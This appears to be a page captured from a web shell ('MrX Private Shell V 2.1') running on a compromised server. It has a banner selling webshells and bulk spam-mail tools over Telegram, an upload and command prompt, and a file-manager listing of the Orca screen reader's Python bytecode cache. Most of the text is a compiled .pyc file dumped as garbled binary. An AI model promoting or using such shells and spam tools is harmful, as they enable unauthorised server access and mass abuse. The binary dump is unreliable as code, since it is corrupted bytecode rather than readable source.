__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

���gO���SrSrSrSrSrSrSSKJr SSKJ	r	 SS	K
Jr SS
KJ
r
 SSKJr SSKJr SS
KJr "SS5rg)zDHeuristic means to infer the functional/displayed label of a widget.z$Id$z
$Revision$z$Date$z$Copyright (C) 2011-2013 Igalia, S.L.�LGPL�)�debug)�AXComponent)�AXHypertext)�AXObject)�AXTable)�AXText)�AXUtilitiesc��\rSrSrSrSSjrSrSrSrSr	Sr
S	rS
rSr
SSjrS
rSSjrSSjrSSjrS SjrS SjrSrSrSrSrSrS!SjrSrg)"�LabelInference�)c�:�Xl0Ul0Ul0Ulg)zzCreates an instance of the LabelInference class.

Arguments:
- script: the script with which this instance is associated.
N)�_script�
_lineCache�
_extentsCache�_isWidgetCache)�self�scripts  �6/usr/lib/python3/dist-packages/orca/label_inference.py�__init__�LabelInference.__init__+s ���������� ���c��SU/n[R"[RUS5 U(dS/4$U(aJ[R"U5(d/SUS/n[R"[RUS5 S/4$S/pTU(d=URU5upE[R"[RSUS3S5 U(aURU5(aFURU5=(d UupE[R"[RSUS3S5 U(d=URU5upE[R"[RS	US3S5 U(d=URU5upE[R"[RS
US3S5 U(d=URU5upE[R"[RSUS3S5 U(dA[R"U5/pT[R"[RSUS3S5 U(a"UR5nURS
S5nU(d<URUSS9upE[R"[RSUS3S5 UR!5 XE4$)z�Attempt to infer the functional/displayed label of obj.

Arguments
- obj: the unlabeled widget
- focusedOnly: If True, only infer if the widget has focus.

Returns the text which we think is the label, or None.
z LABEL INFERENCE: Infer label forTNzLABEL INFERENCE:zis not focusedzLABEL INFERENCE: Text Left: '�'zLABEL INFERENCE: Text Right: 'zLABEL INFERENCE: Table: 'zLABEL INFERENCE: Text Above: 'zLABEL INFERENCE: Text Below: 'zLABEL INFERENCE: Name: '�
� ��)�	proximityz3LABEL INFERENCE: Text Left with proximity of 200: ')r�print_tokens�
LEVEL_INFOr
�
is_focused�inferFromTextLeft�
print_message�_preferRight�inferFromTextRight�inferFromTable�inferFromTextAbove�inferFromTextBelowr�get_name�strip�replace�
clearCache)r�obj�focusedOnly�tokens�result�objectss      r�infer�LabelInference.infer7sd��5�c�:��
���5�+�+�V�T�:����8�O��{�5�5�c�:�:�(�#�/?�@�F����u�/�/���>���8�O�����"�4�4�S�9�O�F����� 0� 0�4Q�RX�QY�YZ�2[�]a�b���*�*�3�/�/�"�5�5�c�:�D�f�O�F����� 0� 0�4R�SY�RZ�Z[�2\�^b�c��"�1�1�#�6�O�F����� 0� 0�4M�f�X�UV�2W�Y]�^��"�5�5�c�:�O�F����� 0� 0�4R�SY�RZ�Z[�2\�^b�c��"�5�5�c�:�O�F����� 0� 0�4R�SY�RZ�Z[�2\�^b�c��&�/�/��4�b�G����� 0� 0�4L�V�H�TU�2V�X\�]���\�\�^�F��^�^�D�#�.�F��"�4�4�S�C�4�H�O�F����� � �E�f�X�Q�O�QU�
W�	
������rc�.�0Ul0Ul0Ulg)z5Dumps whatever we've stored for performance purposes.N)rrr)rs rr,�LabelInference.clearCachers�������� ��rc�h�[R"U5=(d [R"U5$)z]Returns True if we should prefer text on the right, rather than the
left, for the object obj.)r
�is_check_box�is_radio_button�rr-s  rr$�LabelInference._preferRightys%���'�'��,�P��0K�0K�C�0P�Prc�h�[R"U5=(d [R"U5$)z]Returns True if we should not permit inference based on text to
the right for the object obj.�r
�is_combo_box�is_list_boxr9s  r�
_preventRight�LabelInference._preventRight�%���'�'��,�L��0G�0G��0L�Lrc�h�[R"U5=(d [R"U5$)zRReturns True if we should prefer text above, rather than below for
the object obj.r<r9s  r�
_preferTop�LabelInference._preferTop�rArc�8�[R"U5(+$)zRReturns True if we should not permit inference based on text below
the object obj.)r
�
is_text_inputr9s  r�
_preventBelow�LabelInference._preventBelow�s���,�,�S�1�1�1rc�"�UcgSn[R"X5Vs/sHo3PM nn[U5S:�ag[R"U5R5nUR
URR5S:�aggs snf)z�Returns True if the given object has 'simple' contents, such as text
without embedded objects or a single embedded object without text.Fc�r�[R"U5=(a [R"U5(+$)N)r
�is_web_element�is_link)�xs r�isMatch�/LabelInference._isSimpleObject.<locals>.isMatch�s&���-�-�a�0�O��9L�9L�Q�9O�5O�OrrT)	r�
iter_children�lenr	�get_all_textr*�countr�EMBEDDED_OBJECT_CHARACTER)rr-rN�child�children�strings      r�_isSimpleObject�LabelInference._isSimpleObject�s����;��	P�(0�'=�'=�c�'K�L�'K�e�E�'K��L��x�=�1����$�$�S�)�/�/�1���<�<����>�>�?�!�C����Ms�Bc��Ucg[R"U5(d"U5(agURU5$)zBReturns True if the given object should not be treated as a label.T)r
�
is_heading�is_list_item�	_isWidgetr9s  r�_cannotLabel�LabelInference._cannotLabel�s?���;���!�!�#�&�&�+�*B�*B�3�*G�*G���~�~�c�"�"rc�<�UcgURR[U55nUbU$[R"U5=(d [R
"U5nU(d[R"U5(aSnX0R[U5'U$)z-Returns True if the given object is a widget.FT)r�get�hashr
�	is_widget�is_menu_related�is_editable)rr-�rv�isWidgets    rr]�LabelInference._isWidget�s���;��
�
 �
 �
$�
$�T�#�Y�
/��
�>��I��(�(��-�Q��1L�1L�S�1Q���K�3�3�C�8�8��H�)1���D��I�&��rc��U(dgURR[U5X#45nU(aU$Sn[R"U5(a|[
R"U5(daUS:Xa[R"U5n[R"XU5nURURURUR4nUS(a
US(dD[R"U5nURURURUR4nXPR[U5X#4'U$)z�Returns (x, y, width, height) of the text at the given offsets
if the object implements accessible text, or just the extents of
the object if it doesn't implement accessible text.)�rjrjrj�����)rrarbr�
supports_textr
rFr	�get_character_count�get_range_rectrM�y�width�heightr�get_rect)rr-�startOffset�	endOffsetrf�extents�rect�exts        r�_getExtents�LabelInference._getExtents�s���
��
�
�
�
#�
#�T�#�Y��$G�
H��
��I����!�!�#�&�&��,�,�S�1�1���?� &� :� :�3� ?�I��,�,�S�y�I���&�&�$�&�&�$�*�*�d�k�k�A����
�w�q�z��&�&�s�+�C��e�e�S�U�U�C�I�I�s�z�z�9�G�BI���D��I�{�>�?��rc��URU5(dS/4$URU5(aS/4$URRR	USS9nUVs/sHo3SPM	 nn[[
URU55(aS/4$UVs/sHo3SPM	 nnSRU5U4$s snfs snf)z>Gets the functional label text associated with the object obj.NF)�useCacherjrm�)	rXr^r�	utilities�getObjectContentsAtOffset�list�filterr]�join)rr-�contents�contentr1�stringss      r�_createLabelFromContents�'LabelInference._createLabelFromContents�s����#�#�C�(�(���8�O����S�!�!���8�O��<�<�)�)�C�C�C�RW�C�X��-5�6�X�'�1�:�X��6���t�~�~�w�/�0�0���8�O�-5�6�X�'�1�:�X��6��w�w�w���(�(��7��7s�B<�Cc�d�URR[U55nU(aU$[U5nURU5(a,[R
"U5n[R"U5nURRRXSS5nX0RU'U$)z]Get the (obj, startOffset, endOffset, string) tuples for the line
containing the object, obj.TF)rrarbr]r�get_link_start_offsetr�
get_parentrr�getLineContentsAtOffset)rr-�startrf�keys     r�_getLineContents�LabelInference._getLineContents�s����_�_�
 �
 ��c��
+��
��I��3�i���>�>�#����5�5�c�:�E��%�%�c�*�C�
�\�\�
#�
#�
;�
;�C��e�
T��!������	rc�(�URU5nURU5nUVs/sHoUSU:XdM
UPM nnURUS5nUSUnSn	[[	U5S-
SS5HDn
X�up�p�URU5nUSUS:�dUR
U5(dM?U
S-n	 O X�SnU(a
US(dS/4$USup�nnURX�U5nUSUSUS--
nSUs=::aU::aWO S/4$UVs/sHofSPM	 nnSRU5R5nU(aUUVs/sHofSPM	 sn4$S/4$s snf![a [	U5nGN2f=fs snfs snf)aAttempt to infer the functional/displayed label of obj by
looking at the contents of the current line, which are to the
left of this object

Arguments
- obj: the unlabeled widget
- proximity: pixels expected for a match

Returns the text which we think is the label, or None.
rjrrkNrlrmr~)	rzr��index�
IndexErrorrQ�ranger^r�r*)rr-rrwr��or�r��onLeftr��i�lObj�lStart�lEnd�lString�lExtents�endrW�distancer�r0s                     rr"� LabelInference.inferFromTextLeft�s����"�"�3�'���(�(��-��&�6�h��A�$�#�+�1�h��6�	"��N�N�7�1�:�.�E��!�E�"�����s�6�{�Q���B�/�A�*0�)�'�D�$��'�'��-�H���{�W�Q�Z�'�4�+<�+<�T�+B�+B��A����0������6�!�9���8�O�#)�"�:� ��S�&��#�#�D��5���1�:��!��x��{�!:�;����%�I�%��R�x��28�8��g�q�z��G�8��W�W�W�%�+�+�-�F���&�A�&�w��
�&�A�A�A��R�x���97���	"���M�E�	"��(9�� Bs(�E)�E)�E.�F
�F�.F�Fc��URU5(aS/4$URU5nURU5nUVs/sHoUSU:XdM
UPM nnURUS5nU[
[U5US-5Sn[U5n	[U5HAup�URUS5(dM URU5(dS/4s $U
S-n	 O USU	nU(a
US(dS/4$USup�p�URX�U	5nUSUSUS--
nUU::dURU5(aQUVs/sHofSPM	 nnSRU5R5nU(aUUVs/sHofSPM	 sn4$S/4$s snf![a [U5nGNIf=fs snfs snf)aAttempt to infer the functional/displayed label of obj by
looking at the contents of the current line, which are to the
right of this object

Arguments
- obj: the unlabeled widget
- proximity: pixels expected for a match

Returns the text which we think is the label, or None.
Nrjrrlrmr~)r?rzr�r�r�rQ�min�	enumerater^r$r�r*)rr-rrwr�r�r�r��onRightr�r��item�rObjr�rW�rExtentsr�r�r0s                   rr%�!LabelInference.inferFromTextRight+s������c�"�"���8�O��"�"�3�'���(�(��-��&�6�h��A�$�#�+�1�h��6�	"��N�N�7�1�:�.�E��3�s�8�}�e�A�g�6�7�8���'�l�� ��)�G�A�� � ��a��)�)��(�(��-�-���8�O��!�e���*��!�C�.���G�A�J���8�O�#*�1�:� ��S��#�#�D��5���A�;�'�!�*�w�q�z�"9�:���y� �D�$5�$5�c�$:�$:�18�9��g�q�z��G�9��W�W�W�%�+�+�-�F���'�B�'�w��
�'�B�B�B��R�x���97���	"���M�E�	"��(:�� Cs*�F�F�F�	F;�G�F8�7F8c��URU5nUVs/sHoDSU:XdM
UPM nnURUS5nUS:�aS/4$URRRUSSUSSS5upxURXx5n	[
U	5S:waS/4$U	Supzp�URU5(aS/4$UR5(a`URXzU5up�nnURU5unnnnUUU--
nSUs=::aU::aO S/4$U
U::aUR5U/4$S/4$s snf![a S/4s$f=f)�Attempt to infer the functional/displayed label of obj by
looking at the contents of the line above the line containing
the object obj.

Arguments
- obj: the unlabeled widget
- proximity: pixels expected for a match

Returns the text which we think is the label, or None.
rjNrT)
r�r�r�rr�previousContextrQr^r*rz)rr-r�thisLiner�r�r��prevObj�
prevOffset�prevLiner�r�rWrMrqrrrs�objX�objY�objWidth�	objHeightr�s                      rr'�!LabelInference.inferFromTextAboveZs����(�(��-��&�6�h��A�$�#�+�1�h��6�	��N�N�7�1�:�.�E��1�9���8�O�"�l�l�4�4�D�D��Q�K��N�H�Q�K��N�D�2����(�(��=���x�=�A����8�O�&.�q�k�#������W�%�%���8�O��<�<�>�>�"&�"2�"2�7�3�"G��A�%��.2�.>�.>�s�.C�+�D�$��)��q�6�z�*�H��H�)�	�)��R�x��/0�4�i��|�|�~��y�0�0��R�x���37���	���8�O�	�s�E�E�E�E�Ec���URU5(aS/4$URU5nUVs/sHoDSU:XdM
UPM nnURUS5nUS:�aS/4$URR
R
USSUSSS-
S5upxURXx5n	[U	5S:waS/4$U	Supzp�URU5(aS/4$UR5(aZURXzU5up�nnURU5unnnnUUU--
nSUs=::aU::aO S/4$UR5U/4$S/4$s snf![a S/4s$f=f)r�NrjrkrlrT)rGr�r�r�rr�nextContextrQr^r*rz)rr-rr�r�r�r��nextObj�
nextOffset�nextLiner�r�rWrMrqrrrsr�r�r�r�r�s                      rr(�!LabelInference.inferFromTextBelow�s������c�"�"���8�O��(�(��-��&�6�h��A�$�#�+�1�h��6�	��N�N�7�1�:�.�E��1�9���8�O�"�l�l�4�4�@�@��R�L��O�X�b�\�!�_�q�0�$�8����(�(��=���x�=�A����8�O�&.�q�k�#������W�%�%���8�O��<�<�>�>�"&�"2�"2�7�3�"G��A�%��.2�.>�.>�s�.C�+�D�$��)��D�9�,�-�H��H�)�	�)��R�x���|�|�~��y�0�0��R�x���37���	���8�O�	�s�E�E�	E�E.�-E.c�b�[R"U5(agURU5S:H$)NT�table)r
�is_table�_getTagr9s  r�_isTable�LabelInference._isTable�s*������$�$���|�|�C� �G�+�+rc�b�[R"U5(agURU5S:H$)NT�tr)r
�is_table_rowr�r9s  r�_isRow�LabelInference._isRow�s*���#�#�C�(�(���|�|�C� �D�(�(rc�b�[R"U5(agURU5S;$)NT)�td�th)r
�
is_table_cellr�r9s  r�_isCell�LabelInference._isCell�s*���$�$�S�)�)���|�|�C� �L�0�0rc�T�SUs=::a[R"U5:aX$ gg)Nrj)r�get_child_count)r�row�colindexs   r�_getCellFromRow�LabelInference._getCellFromRow�s,����8�8�3�3�C�8�8��=� �9�rc�P�[R"U5nURS5$)N�tag)r�get_attributes_dictra)rr-�attrss   rr��LabelInference._getTag�s!���,�,�S�1���y�y���rc�^�[R"TUR5nURU5(dS/4$[R"T5nX4[R"U54;aS/4$[R"X0R
5nU(dS/4$S=n=n=p�[R"X0R5n
[R"USS9up�US:�aj[R"X[US-
5n[R"X[US-5n[R"X[S-
U5n[R"X[S-U5n	GOU
(a�[R"U5U
:Xa�[R"U5n
URX�S-
5nURX�S-5n[R"U
5n[R"U
5nUS:�a*[R"X�S-
5nURX�5nUS-[R"U5:a+[R"X�S-5nURUU
5n	U(aCURT5(d-URU5unnU(aUR!5U4$UR#T5unnnnU(a}UR%T5(dgUR#U5unnnnUUU--
nUU::dURT5(a-URU5unnU(aUR!5U4$S=nnU(aCURU5unnU(a(UR'T5(aUR!5U4$U	(a*UR)T5(dURU	5unnU(amU(afUR#U5un n!n"n#UR#U	5un$n%n&n'UU!U#--
n(U%UU--
n)U(U)::aUR!5W4$UR!5W4$U(aUR!5W4$U(aUR!5W4$[R*"U5n*[-U*5V+s/sHn+[R"USU+5PM n,n+U,(a$[/[1UR2U,55(aS/4$US:aS/4$U4Sjn-[R4"U5n.[-SU.5V+s/sHn+[R"UU+U5PM n/n+[/[1U-U/55(aS/4$URU,U5unnU(aUR!5U4$S/4$s sn+fs sn+f)a6Attempt to infer the functional/displayed label of obj by looking
at the contents of the surrounding table cells. Note that this approach
assumes a simple table in which the widget is the sole occupant of its
cell.

Arguments
- obj: the unlabeled widget

Returns the text which we think is the label, or None.
NF)�prefer_attributerkrrjc�>�[R"U5(dg[R"[R"US5T5(+$)NFrj)rr�r
�have_same_role�	get_child)rMr-s �rrN�.LabelInference.inferFromTable.<locals>.isMatch(s:����+�+�A�.�.��"�1�1�(�2D�2D�Q��2J�C�P�P�Pr)r�
find_ancestorr�rXr�r�r�r�get_cell_coordinates�get_cell_at�get_index_in_parentr�r�r�r$r�r*rzr?rCrG�get_column_countr�r�r�r]�
get_row_count)0rr-�proximityForRight�cell�parent�grid�cellLeft�	cellRight�	cellAbove�	cellBelow�gridrow�rowindexr��	cellindex�
gridrowParent�rowAbove�rowBelow�label�sourcesr�r�r�r�rMrqrrrsr��
labelAbove�
labelBelow�sourcesAbove�sourcesBelow�aboveX�aboveY�
aboveWidth�aboveHeight�belowX�belowY�
belowWidth�belowHeight�dAbove�dBelow�columnsr��firstRowrN�rows�cellss0 `                                              rr&�LabelInference.inferFromTable�s�����%�%�c�4�<�<�8���#�#�D�)�)���8�O��$�$�S�)���� 3� 3�F� ;�<�<���8�O��%�%�d�M�M�:�����8�O�7;�;��;�9�;�y��(�(��{�{�;��$�9�9�$�QV�W����b�=��*�*�4�8�a�<�H�H��+�+�D�H�q�L�I�I��+�+�D�Q�,��I�I��+�+�D�Q�,��I�I�
��,�,�T�2�g�=� �4�4�T�:�I��+�+�G��]�C�H��,�,�W�!�m�D�I��3�3�G�<�H�$�/�/��8�M��!�|�#�-�-�m��\�J�� �0�0��E�	��!�|�h�6�6�t�<�<�#�-�-�m��\�J�� �0�0��9�E�	��D�-�-�c�2�2�!�:�:�8�D�N�E�7���{�{�}�g�-�-�*.�*:�*:�3�*?�'��d�H�i��T�/�/��4�4�"&�"2�"2�9�"=��A�q�%���D�8�O�,�H��,�,��0A�0A�#�0F�0F�!%�!>�!>�y�!I���w�� �;�;�=�'�1�1�"&�&�
�Z��'+�'D�'D�Y�'O�$�J���d�o�o�c�2�2�!�'�'�)�<�7�7��T�/�/��4�4�'+�'D�'D�Y�'O�$�J���*�6:�6F�6F�y�6Q�3�F�F�J��6:�6F�6F�y�6Q�3�F�F�J���V�k�1�2�F��t�i�/�0�F����!�'�'�)�<�7�7��#�#�%�|�3�3���#�#�%�|�3�3���#�#�%�|�3�3��*�*�4�0��=B�7�^�L�^��G�'�'��a��3�^��L��4��t�~�~�x� @�A�A���8�O��a�<���8�O�	Q�
�$�$�T�*��AF�q�$��P��A��$�$�T�1�h�7���P���w��&�'�'���8�O��6�6�x��7I�J���w���;�;�=�'�)�)��R�x���+M��Qs�:"U7�"U<)rrrrN)T)rjrk)rj)�K)�)�)�2)�__name__�
__module__�__qualname__�__firstlineno__rr2r,r$r?rCrGrXr^r]rzr�r�r"r%r'r(r�r�r�r�r�r&�__static_attributes__�rrrr)s~��
!�9�v!�Q�M�M�2��(	#��"�6)�"�$*�X-�^&�P)�V,�)�1�� �mrrN)�__doc__�__id__�__version__�__date__�
__copyright__�__license__r~r�ax_componentr�ax_hypertextr�	ax_objectr�ax_tabler�ax_textr	�ax_utilitiesr
rrrr�<module>rsE��2K�������6�
����%�%����%�M�Mr

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 276 B 0644
acss.cpython-313.pyc File 4.37 KB 0644
action_presenter.cpython-313.pyc File 12.53 KB 0644
ax_collection.cpython-313.pyc File 6.06 KB 0644
ax_component.cpython-313.pyc File 22.4 KB 0644
ax_document.cpython-313.pyc File 13.2 KB 0644
ax_event_synthesizer.cpython-313.pyc File 22.37 KB 0644
ax_hypertext.cpython-313.pyc File 11.3 KB 0644
ax_object.cpython-313.pyc File 63.85 KB 0644
ax_selection.cpython-313.pyc File 5.26 KB 0644
ax_table.cpython-313.pyc File 62.75 KB 0644
ax_text.cpython-313.pyc File 58.92 KB 0644
ax_utilities.cpython-313.pyc File 37.16 KB 0644
ax_utilities_application.cpython-313.pyc File 9.14 KB 0644
ax_utilities_collection.cpython-313.pyc File 125.47 KB 0644
ax_utilities_debugging.cpython-313.pyc File 15.44 KB 0644
ax_utilities_event.cpython-313.pyc File 41.86 KB 0644
ax_utilities_relation.cpython-313.pyc File 21.3 KB 0644
ax_utilities_role.cpython-313.pyc File 139.59 KB 0644
ax_utilities_state.cpython-313.pyc File 19.65 KB 0644
ax_value.cpython-313.pyc File 8.8 KB 0644
bookmarks.cpython-313.pyc File 16.09 KB 0644
braille.cpython-313.pyc File 82.01 KB 0644
braille_generator.cpython-313.pyc File 71.06 KB 0644
braille_rolenames.cpython-313.pyc File 8.73 KB 0644
brlmon.cpython-313.pyc File 9.02 KB 0644
brltablenames.cpython-313.pyc File 2.46 KB 0644
bypass_mode_manager.cpython-313.pyc File 5.79 KB 0644
caret_navigation.cpython-313.pyc File 22.86 KB 0644
chat.cpython-313.pyc File 33.96 KB 0644
clipboard.cpython-313.pyc File 27.81 KB 0644
cmdnames.cpython-313.pyc File 18.85 KB 0644
colornames.cpython-313.pyc File 11.83 KB 0644
debug.cpython-313.pyc File 4.76 KB 0644
debugging_tools_manager.cpython-313.pyc File 13.8 KB 0644
event_manager.cpython-313.pyc File 43.89 KB 0644
flat_review.cpython-313.pyc File 59.1 KB 0644
flat_review_finder.cpython-313.pyc File 29.77 KB 0644
flat_review_presenter.cpython-313.pyc File 59.01 KB 0644
focus_manager.cpython-313.pyc File 14.24 KB 0644
generator.cpython-313.pyc File 95.62 KB 0644
guilabels.cpython-313.pyc File 12.43 KB 0644
highlighter.cpython-313.pyc File 9.86 KB 0644
input_event.cpython-313.pyc File 45.78 KB 0644
input_event_manager.cpython-313.pyc File 48.43 KB 0644
keybindings.cpython-313.pyc File 27.27 KB 0644
keynames.cpython-313.pyc File 4.73 KB 0644
label_inference.cpython-313.pyc File 25.15 KB 0644
learn_mode_presenter.cpython-313.pyc File 19.89 KB 0644
liveregions.cpython-313.pyc File 31.34 KB 0644
mathsymbols.cpython-313.pyc File 64.53 KB 0644
messages.cpython-313.pyc File 41.8 KB 0644
mouse_review.cpython-313.pyc File 33.59 KB 0644
notification_presenter.cpython-313.pyc File 18.47 KB 0644
object_navigator.cpython-313.pyc File 15.8 KB 0644
object_properties.cpython-313.pyc File 8.27 KB 0644
orca.cpython-313.pyc File 13.43 KB 0644
orca_gtkbuilder.cpython-313.pyc File 5.53 KB 0644
orca_gui_navlist.cpython-313.pyc File 10.45 KB 0644
orca_gui_prefs.cpython-313.pyc File 166.31 KB 0644
orca_gui_profile.cpython-313.pyc File 5.69 KB 0644
orca_i18n.cpython-313.pyc File 2.63 KB 0644
orca_modifier_manager.cpython-313.pyc File 17.05 KB 0644
orca_platform.cpython-313.pyc File 661 B 0644
phonnames.cpython-313.pyc File 1.51 KB 0644
pronunciation_dict.cpython-313.pyc File 1.95 KB 0644
script.cpython-313.pyc File 15.33 KB 0644
script_manager.cpython-313.pyc File 18.15 KB 0644
script_utilities.cpython-313.pyc File 87.03 KB 0644
settings.cpython-313.pyc File 6.79 KB 0644
settings_manager.cpython-313.pyc File 35.18 KB 0644
sleep_mode_manager.cpython-313.pyc File 6.67 KB 0644
sound.cpython-313.pyc File 8.71 KB 0644
sound_generator.cpython-313.pyc File 58.4 KB 0644
speech.cpython-313.pyc File 10.75 KB 0644
speech_and_verbosity_manager.cpython-313.pyc File 34.1 KB 0644
speech_generator.cpython-313.pyc File 214.55 KB 0644
speechdispatcherfactory.cpython-313.pyc File 33.52 KB 0644
speechserver.cpython-313.pyc File 10.21 KB 0644
spellcheck.cpython-313.pyc File 24.24 KB 0644
spiel.cpython-313.pyc File 34.68 KB 0644
ssml.cpython-313.pyc File 6.03 KB 0644
structural_navigation.cpython-313.pyc File 93.9 KB 0644
system_information_presenter.cpython-313.pyc File 9.42 KB 0644
table_navigator.cpython-313.pyc File 36.48 KB 0644
text_attribute_names.cpython-313.pyc File 6.01 KB 0644
where_am_i_presenter.cpython-313.pyc File 26.41 KB 0644
Filemanager